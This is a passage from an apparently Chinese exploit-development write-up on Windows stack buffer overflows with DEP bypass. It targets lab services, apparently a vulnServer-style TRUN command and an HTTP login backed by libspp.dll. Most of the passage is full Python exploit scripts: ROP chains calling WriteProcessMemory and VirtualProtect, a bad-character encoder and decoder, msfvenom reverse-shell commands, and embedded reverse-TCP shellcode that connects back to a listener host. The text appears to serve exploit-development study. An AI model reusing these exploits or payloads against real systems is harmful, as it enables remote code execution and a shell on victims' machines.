rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L",0xfffffda8) # 0n600
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

BOF

BOF

还有一个需要注意的地方,因为是自己来进行编码和解码,用msfvenom仅需生成原始shellcode即可。如本地使用如下:

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode

以上是需要注意的地方,当存在单个坏字符时,最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3


import socket
import struct

HOST = '192.168.91.160'
PORT = 9999


def mapBadChars(sh):
BADCHARS = b"\x00"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

def encodeShellcode(sh):
BADCHARS = b"\x00"
REPLACECHARS = b"\xff"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00"
CHARSTOADD = b"\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))

# current EAX point to the address of shellcode-1
restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop


def main():

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11"
shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a"
shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

pos = mapBadChars(shellcode)
print(pos)
encodedRevShell = encodeShellcode(shellcode)

func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll

# save ESP to ESI,EDX,EAX
rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777988) # 0x77777988
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN


rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching dummy nSize
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching WriteProcessMemory Address
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# save current EAX to EBX
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x75f84c67) # MOV EAX,ESI # RETN

# Align EAX with shellcode
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L",0xfffffda8) # 0n600
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

rop1 += decodeShellcode(0, pos, shellcode)

# Align ESP with ROP Skeleton
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




# padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))
padding = b"\x44" * 16

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*80+
encodedRevShell+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)


if __name__ == "__main__":
main()

喜闻乐见的反弹shell如下:

BOF

单坏字符,用于解码的ROP Gadgets一般不会很长,如果涉及很多坏字符,解码的ROP Gadgets会很长,最终可能因为栈空间不够,导致shellcode受到挤压,后续被截断,最终导致利用失败。

尝试7个坏字符时,最后因为栈空间不够导致shellcode被截断了。最终,试了3个坏字符的情况,还算正常。利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#!/usr/bin/env python3


import socket
import struct

HOST = '192.168.91.160'
PORT = 9999


def mapBadChars(sh):
BADCHARS = b"\x00\x09\x0a"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

def encodeShellcode(sh):
BADCHARS = b"\x00\x09\x0a"
REPLACECHARS = b"\xff\x10\x06"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00\x09\x0a"
CHARSTOADD = b"\x01\xf9\x04"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))

# current EAX point to the address of shellcode-1
restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop


def main():

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11"
shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a"
shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

pos = mapBadChars(shellcode)
print(pos)
encodedRevShell = encodeShellcode(shellcode)


func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll
# save ESP to ESI,EDX,EAX
rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x7777798c) # 0x7777798c
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN



rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching dummy nSize
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching WriteProcessMemory Address
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# save current EAX to EBX
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x75f84c67) # MOV EAX,ESI # RETN

# Align EAX with shellcode
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffd78) # 0n648
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

rop1 += decodeShellcode(0, pos, shellcode)

# Align ESP with ROP Skeleton
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




# padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))
padding = b"\x44" * 1000

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*80+
encodedRevShell+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)


if __name__ == "__main__":
main()

喜闻乐见的反弹shell如下:

BOF

实验环境 Windows Server 2019(10.0.17763 N/A Build 17763), DEP默认为AlwaysOn

给了一个能crash程序的模板脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
import socket
import sys

try:
server = sys.argv[1]
port = 80
size = 800
inputBuffer = b"A" * size
content = b"username=" + inputBuffer + b"&password=A"

buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content

print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()

print("Done!")

except socket.error:
print("Could not connect!")

offset780,后续需要跟4bytes的占位符,才能让ESP指向后续字符的开头,不然会跳过后续字符开头的4bytes。坏字符为\x00\x0a\x0d\x25\x26\x2b\x3d。这些比较简单,就不说了。

先来看看未开启ASLR的模块:

BOF

结合坏字符,这里能用的模块只有libspp.dll。有个小问题出现了,在libspp.dllIAT中找不到VirtualAllocStub,WriteProcessMemoryStub,VirtualProtectStub类似这样的函数。

小知识:模块IAT中各个函数的偏移是一定的,不同函数之间的距离也是一定的,两者不会随函数地址的变化而变化。

BOF

VirutalProtect函数源于kernel32.dll,虽然libspp.dllIAT没有,但是可以用其他导入的kernel32中的函数计算得到VirtualProtect的实际地址。

windbg中来验证一下:

获取CreateFileAVirtualProtectStub的地址:

BOF

计算二者之差(这个值是固定的,但是不同版本的系统这个值会不同):

BOF

根据libspp.dllIAT的信息,获取CreateFileA的实际地址:

BOF

得到VirtualProtectStub的实际地址:

BOF

利用libspp.dll IATCreateFileA的地址找到VirtualProtectStub地址的方法就介绍完了。

以上是手动操作,其实也可利用脚本来进行,外国友人写了一个寻找函数IAT地址的脚本

BOF

所需的知识已经准备就绪,接下来就是构建ROP Chain了。开始我想用mona自己生成,但是生成出来的ROP Chain不完整,而且非常冗长。我一般会在它的基础上做一些更改,修改成一个简洁的ROP Chain,或者会调整各寄存器的顺序,让原本无法生成ROP Chain变成可以顺利生成。

首先,需要用rp++生成ROP Gadget集合,然后需要去掉包含坏字符的ROP Gadget

这里用到的过滤脚本如下:

1.filter-ropfile.py

2.find-gadgets.py

两个差不多,可以结合使用。

难点在ESI值(它保存VirutalProtectStub的地址)的生成,主要关注解引用,这样才能获取到CreateFileA的地址,进而获取VirutalProtectStub的地址:

注:说好的VirutalProtect,为何变成了VirtualProtectStub,因为VirtualProtect最终调用的是VirutalProtectStub

1
2
3
4
5
6
7
8
9
10
#[---INFO:gadgets_to_set_esi:---]
0x1002f729, # pop eax; ret; :: libspp.dll
0x10168060, # IAT KERNEL32!CreateFileA libspp.dll
0x1014dc4c, # mov eax, [eax] ; ret ; (1 found)
0x100cb4d4, # xchg eax, edx ; ret ; (1 found)
0x1002f729, # pop eax; ret; :: libspp.dll
0xffffd070, # offset = VirtualProtectStub - CreateFileA
0x1003f9f9, # add eax, edx ; retn 0x0004 ; (1 found)
0x100121b5, # xchg eax, esi ; cwde ; add bl, al ; mov eax, 0x02FAF080 ; ret ; (1 found)
0x41414141, # junk

完整的ROP Chain如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x1002f729, # pop eax; ret; :: libspp.dll
0x10168060, # IAT KERNEL32!CreateFileA libspp.dll
0x1014dc4c, # mov eax, [eax] ; ret ; (1 found)
0x100cb4d4, # xchg eax, edx ; ret ; (1 found)
0x1002f729, # pop eax; ret; :: libspp.dll
0xffffd070, # offset = VirtualProtectStub - CreateFileA
0x1003f9f9, # add eax, edx ; retn 0x0004 ; (1 found)
0x100121b5, # xchg eax, esi ; cwde ; add bl, al ; mov eax, 0x02FAF080 ; ret ; (1 found)
0x41414141,

#[---INFO:gadgets_to_set_ebp:---]
0x10129305, # POP EBP # RETN [libspp.dll]
0x10129305, # skip 4 bytes [libspp.dll]

#[---INFO:gadgets_to_set_ebx:---]
0x1012b413, # POP EAX # RETN [libspp.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x1009904c, # NEG EAX # RETN [libspp.dll]
0x100cb4d4, # xchg edx, eax; ret; :: libspp.dll
0x10104e93, #push edx ; or al, 0x5E ; xor eax, eax ; pop ebx ; ret

#[---INFO:gadgets_to_set_edx:---]
0x1012b413, # POP EAX # RETN [libspp.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10078216, # NEG EAX # RETN [libspp.dll]
0x100cb4d4, # XCHG EAX,EDX # RETN [libspp.dll]

#[---INFO:gadgets_to_set_ecx:---]
0x1015d439, # POP ECX # RETN [libspp.dll]
0x1020c95e, # &Writable location [libspp.dll]

#[---INFO:gadgets_to_set_edi:---]
0x10128eba, # POP EDI # RETN [libspp.dll]
0x1010adf2, # RETN (ROP NOP) [libspp.dll]

#[---INFO:pushad:---]
0x1014f55d, # PUSHAD # RETN [libspp.dll]

#[---INFO:extras:---]
0x100bb515, # ptr to 'push esp # ret ' [libspp.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

完整的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/python
import socket
import sys
import struct

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d'
shellcode = b""
shellcode += b"\xba\x6f\x57\xd7\xc5\xd9\xc3\xd9\x74\x24\xf4"
shellcode += b"\x5e\x31\xc9\xb1\x52\x83\xc6\x04\x31\x56\x0e"
shellcode += b"\x03\x39\x59\x35\x30\x39\x8d\x3b\xbb\xc1\x4e"
shellcode += b"\x5c\x35\x24\x7f\x5c\x21\x2d\xd0\x6c\x21\x63"
shellcode += b"\xdd\x07\x67\x97\x56\x65\xa0\x98\xdf\xc0\x96"
shellcode += b"\x97\xe0\x79\xea\xb6\x62\x80\x3f\x18\x5a\x4b"
shellcode += b"\x32\x59\x9b\xb6\xbf\x0b\x74\xbc\x12\xbb\xf1"
shellcode += b"\x88\xae\x30\x49\x1c\xb7\xa5\x1a\x1f\x96\x78"
shellcode += b"\x10\x46\x38\x7b\xf5\xf2\x71\x63\x1a\x3e\xcb"
shellcode += b"\x18\xe8\xb4\xca\xc8\x20\x34\x60\x35\x8d\xc7"
shellcode += b"\x78\x72\x2a\x38\x0f\x8a\x48\xc5\x08\x49\x32"
shellcode += b"\x11\x9c\x49\x94\xd2\x06\xb5\x24\x36\xd0\x3e"
shellcode += b"\x2a\xf3\x96\x18\x2f\x02\x7a\x13\x4b\x8f\x7d"
shellcode += b"\xf3\xdd\xcb\x59\xd7\x86\x88\xc0\x4e\x63\x7e"
shellcode += b"\xfc\x90\xcc\xdf\x58\xdb\xe1\x34\xd1\x86\x6d"
shellcode += b"\xf8\xd8\x38\x6e\x96\x6b\x4b\x5c\x39\xc0\xc3"
shellcode += b"\xec\xb2\xce\x14\x12\xe9\xb7\x8a\xed\x12\xc8"
shellcode += b"\x83\x29\x46\x98\xbb\x98\xe7\x73\x3b\x24\x32"
shellcode += b"\xd3\x6b\x8a\xed\x94\xdb\x6a\x5e\x7d\x31\x65"
shellcode += b"\x81\x9d\x3a\xaf\xaa\x34\xc1\x38\x15\x60\x92"
shellcode += b"\x31\xfd\x73\x24\x53\xa2\xfa\xc2\x39\x4a\xab"
shellcode += b"\x5d\xd6\xf3\xf6\x15\x47\xfb\x2c\x50\x47\x77"
